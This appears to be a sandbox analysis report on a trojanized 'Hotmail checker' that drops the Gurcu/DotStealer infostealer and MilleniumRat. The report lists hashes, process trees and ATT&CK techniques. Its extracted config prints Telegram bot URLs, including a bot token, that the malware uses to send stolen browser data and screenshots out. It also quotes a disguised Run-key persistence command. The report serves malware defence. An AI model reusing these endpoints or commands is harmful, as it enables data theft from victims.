gurcu | 6cddd71248af261cfc692b8d0cae07be09aad1bdebde4af458a7a49134f16475

Analysis

max time kernel
71s
max time network
77s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
08-10-2024 18:16

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General

Target

Wookies Hotmail Checker/Wookies Hotmail Checker/Wookies Hotmail Checker.exe
Size

11.7MB
MD5

d3753206b47951f0ae7ce58451a1d36e
SHA1

8804e6852920a0d05dd2eecb80f5996baa913ea2
SHA256

e5f88908158c40e919da296c7858860d3d25a9ee6bf738d488c84b065e51702e
SHA512

1f5a92215fe83bb892f619dc1b31c03cb71d610f002f58c0bf2e4e42e51db61f03021791716f255da08b1590dd38cc773abb90715baab6ac9ecf0004d955dabd
SSDEEP

196608:XeV5VR5XoQzOQ3QstnxcsIoJRy68CI+qzX6TPcB937fP+PIa8fIVWpuvi:Q5PN7OG7csI96pIVb6TPcr37fGuIspuv

Score

10^/10

gurcu milleniumrat discovery rat spyware stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/sendDocument?chat_id=-4590251468&caption=%F0%9F%92%A0DOTSTEALER%F0%9F%92%A0%0A%F0%9F%92%ABNew%20log:%0AIP:%20138.199.29.44%0AUsername:%20Admin%0ALocation:%20United%20Kingdom%20[GB],%20London,%20Englan

https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/sendDocument?chat_id=-4594364141&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0%20kb

https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/sendMessage?chat_id=-4594364141

https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/getUpdates?offset=-

https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/sendDocument?chat_id=-4594364141&caption=%F0%9F%93%B8Screenshot%20take

Signatures

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu
MilleniumRat
MilleniumRat is a remote access trojan written in C#.
rat stealer milleniumrat

Executes dropped EXE 4 IoCs

pid	Process
4496	jjj.exe
2580	Wookies Hotmail Checker.exe
1132	DotStealerBuild.exe
4728	built.exe

Loads dropped DLL 2 IoCs

pid	Process
1132	DotStealerBuild.exe
4728	built.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
6	raw.githubusercontent.com
1	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ip-api.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	DotStealerBuild.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	DotStealerBuild.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	built.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	built.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3140	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1132	DotStealerBuild.exe
1132	DotStealerBuild.exe
1132	DotStealerBuild.exe
1132	DotStealerBuild.exe
1132	DotStealerBuild.exe
1132	DotStealerBuild.exe
1132	DotStealerBuild.exe
1132	DotStealerBuild.exe
1132	DotStealerBuild.exe
1132	DotStealerBuild.exe
1132	DotStealerBuild.exe
1132	DotStealerBuild.exe
1132	DotStealerBuild.exe
1132	DotStealerBuild.exe
1132	DotStealerBuild.exe
1132	DotStealerBuild.exe
1132	DotStealerBuild.exe
1132	DotStealerBuild.exe
1132	DotStealerBuild.exe
1132	DotStealerBuild.exe
1132	DotStealerBuild.exe
1132	DotStealerBuild.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
1132	DotStealerBuild.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe
4728	built.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1132	DotStealerBuild.exe
Token: SeDebugPrivilege	4728	built.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4728	built.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 4964 wrote to memory of 4496	4964	Wookies Hotmail Checker.exe	78
PID 4964 wrote to memory of 4496	4964	Wookies Hotmail Checker.exe	78
PID 4964 wrote to memory of 2580	4964	Wookies Hotmail Checker.exe	79
PID 4964 wrote to memory of 2580	4964	Wookies Hotmail Checker.exe	79
PID 4496 wrote to memory of 1132	4496	jjj.exe	81
PID 4496 wrote to memory of 1132	4496	jjj.exe	81
PID 4496 wrote to memory of 4728	4496	jjj.exe	82
PID 4496 wrote to memory of 4728	4496	jjj.exe	82
PID 4728 wrote to memory of 3404	4728	built.exe	84
PID 4728 wrote to memory of 3404	4728	built.exe	84
PID 3404 wrote to memory of 3140	3404	cmd.exe	86
PID 3404 wrote to memory of 3140	3404	cmd.exe	86
PID 1132 wrote to memory of 972	1132	DotStealerBuild.exe	87
PID 1132 wrote to memory of 972	1132	DotStealerBuild.exe	87

C:\Users\Admin\AppData\Local\Temp\Wookies Hotmail Checker\Wookies Hotmail Checker\Wookies Hotmail Checker.exe
"C:\Users\Admin\AppData\Local\Temp\Wookies Hotmail Checker\Wookies Hotmail Checker\Wookies Hotmail Checker.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4964
- C:\Users\Admin\AppData\Roaming\jjj.exe
  "C:\Users\Admin\AppData\Roaming\jjj.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4496
- - C:\Users\Admin\AppData\Roaming\DotStealerBuild.exe
    "C:\Users\Admin\AppData\Roaming\DotStealerBuild.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1132
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpEFFD.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpEFFD.tmp.bat
      4⤵
      PID:972
- - C:\Users\Admin\AppData\Roaming\built.exe
    "C:\Users\Admin\AppData\Roaming\built.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:4728
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\Wookies Hotmail Checker\Wookies Hotmail Checker\built.exe /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3404
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\Wookies Hotmail Checker\Wookies Hotmail Checker\built.exe /f
        5⤵
        Modifies registry key
        
        PID:3140
- C:\Users\Admin\AppData\Roaming\Wookies Hotmail Checker.exe
  "C:\Users\Admin\AppData\Roaming\Wookies Hotmail Checker.exe"
  2⤵
  - Executes dropped EXE
  PID:2580

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Wookies Hotmail Checker.exe.log

Filesize
654B

MD5
2cbbb74b7da1f720b48ed31085cbd5b8

SHA1
79caa9a3ea8abe1b9c4326c3633da64a5f724964

SHA256
e31b18f21621d9983bfdf1ea3e53884a9d58b8ffd79e0e5790da6f3a81a8b9d3

SHA512
ecf02d5240e0c1c005d3ab393aa7eff62bd498c2db5905157e2bf6d29e1b663228a9583950842629d1a4caef404c8941a0c7799b1a3bd1eb890a09fdb7efcff9

Download Submit
C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

Filesize
1.7MB

MD5
65ccd6ecb99899083d43f7c24eb8f869

SHA1
27037a9470cc5ed177c0b6688495f3a51996a023

SHA256
aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

SHA512
533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpEFFD.tmp.bat

Filesize
119B

MD5
7b520168d7ef6cc706241d1ed65ba42f

SHA1
a119262f0ad95bbb4ca8a6ad8a52e7c6db7ffe5f

SHA256
22a5bf26a3276c09158a8e6ab43753b13f9f0a4c891975ed9d0f7a6471428494

SHA512
de23910e1c7529f53e6ec0fdf575361834ae4f32548821fb3475821b6ddc224e7130139283f3402ba9b0efd61a70ef6930c7a6f1298e48480119e43ce6933dfe

Download Submit
C:\Users\Admin\AppData\Roaming\AdminUserCash\CREDIT~1

Filesize
112KB

MD5
87210e9e528a4ddb09c6b671937c79c6

SHA1
3c75314714619f5b55e25769e0985d497f0062f2

SHA256
eeb23424586eb7bc62b51b19f1719c6571b71b167f4d63f25984b7f5c5436db1

SHA512
f8cb8098dc8d478854cddddeac3396bc7b602c4d0449491ecacea7b9106672f36b55b377c724dc6881bee407c6b6c5c3352495ed4b852dd578aa3643a43e37c0

Download Submit
C:\Users\Admin\AppData\Roaming\DotStealerBuild.exe

Filesize
5.6MB

MD5
52f581505afef83b39aefde9ae711e35

SHA1
579bbee21d09878d11cc10b045cd32c00dede4b0

SHA256
01bd7c1203d3bd62440082a8dd0789b46b7e0481ad98951f53487094784e0a02

SHA512
0a294de86a495d425b68fdc574e364868cf6629ebf12f426cbbb3258c35c5b93a41e6d5a4bad833733afb155fe965f03d1bf0fe73d5294a9f58dd4a6b8819c25

Download Submit
C:\Users\Admin\AppData\Roaming\Wookies Hotmail Checker.exe

Filesize
168KB

MD5
ace08d279f65f6ead0421577476928b6

SHA1
d828d8dfbb543eb1db8b0e3f4430b90e50a23fbd

SHA256
bc93e49457acf3990c916a84d51916638332bf1e7d775e6ad9f240ea595a41b5

SHA512
9910dd98b435f51dca61e78c4721c10a355e288f8b466ef3a4cee71cfcd5dbd5c4beef5d0acfba11e67943a341060f0ecf0f44e793ea1df47e23f149be7cf8d1

Download Submit
C:\Users\Admin\AppData\Roaming\built.exe

Filesize
5.6MB

MD5
63b01821cbe6ef9e33fb2b756da07fef

SHA1
e4f618bc9d7c7e534460499ac73eb7a97253aa69

SHA256
7666b280f3eae2e92b753115a29be18dc5d108775e174172308905a02b08e730

SHA512
10d96eed133fe5cc8a01bfe97649affcbf74aaa37ea7eebea545733cd300544a60ac11b9b47dbedd382e6004bc945acf0a78a796b32a1148fbb502fd7ed0adfc

Download Submit
C:\Users\Admin\AppData\Roaming\jjj.exe

Filesize
11.3MB

MD5
4dc27dd3f53e59f186fe7c78d9671874

SHA1
04e30a4612fdb4d53a9335a8ebbf2574d5027a55

SHA256
3b59d780cff0716f35557705bcc4a5d43ecabfa3e5fd79e93e4245049fab7585

SHA512
bd916c3515f0ef24969df0693d36ffd1bcc21acade1531bd7b0773892570d18255f89e3b52ee071937960b7372c70128ca64d1f22dc3107a2a368b77ae160135

Download Submit
memory/1132-72-0x000001B1ABAA0000-0x000001B1ABAC6000-memory.dmp

Filesize
152KB

Download
memory/1132-67-0x000001B1C4550000-0x000001B1C4602000-memory.dmp

Filesize
712KB

Download
memory/1132-41-0x000001B1A96E0000-0x000001B1A9C78000-memory.dmp

Filesize
5.6MB

Download
memory/1132-71-0x000001B1C46D0000-0x000001B1C470A000-memory.dmp

Filesize
232KB

Download
memory/1132-59-0x000001B1ABAE0000-0x000001B1ABB56000-memory.dmp

Filesize
472KB

Download
memory/1132-58-0x000001B1AA230000-0x000001B1AA23A000-memory.dmp

Filesize
40KB

Download
memory/1132-69-0x000001B1ABB60000-0x000001B1ABB82000-memory.dmp

Filesize
136KB

Download
memory/1132-68-0x000001B1C4600000-0x000001B1C4650000-memory.dmp

Filesize
320KB

Download
memory/1132-99-0x000001B1C46B0000-0x000001B1C46C2000-memory.dmp

Filesize
72KB

Download
memory/1132-64-0x000001B1ABA10000-0x000001B1ABA2E000-memory.dmp

Filesize
120KB

Download
memory/1132-65-0x000001B1C44E0000-0x000001B1C454A000-memory.dmp

Filesize
424KB

Download
memory/2580-29-0x00007FFF7B630000-0x00007FFF7C0F2000-memory.dmp

Filesize
10.8MB

Download
memory/2580-27-0x000002156CA60000-0x000002156CA8E000-memory.dmp

Filesize
184KB

Download
memory/2580-133-0x00007FFF7B630000-0x00007FFF7C0F2000-memory.dmp

Filesize
10.8MB

Download
memory/4496-60-0x00007FFF7B630000-0x00007FFF7C0F2000-memory.dmp

Filesize
10.8MB

Download
memory/4496-28-0x0000000000130000-0x0000000000C82000-memory.dmp

Filesize
11.3MB

Download
memory/4496-24-0x00007FFF7B630000-0x00007FFF7C0F2000-memory.dmp

Filesize
10.8MB

Download
memory/4728-61-0x000001AB7A130000-0x000001AB7A6D2000-memory.dmp

Filesize
5.6MB

Download
memory/4964-0-0x00007FFF7B633000-0x00007FFF7B635000-memory.dmp

Filesize
8KB

Download
memory/4964-1-0x0000000000410000-0x0000000000FBC000-memory.dmp

Filesize
11.7MB

Download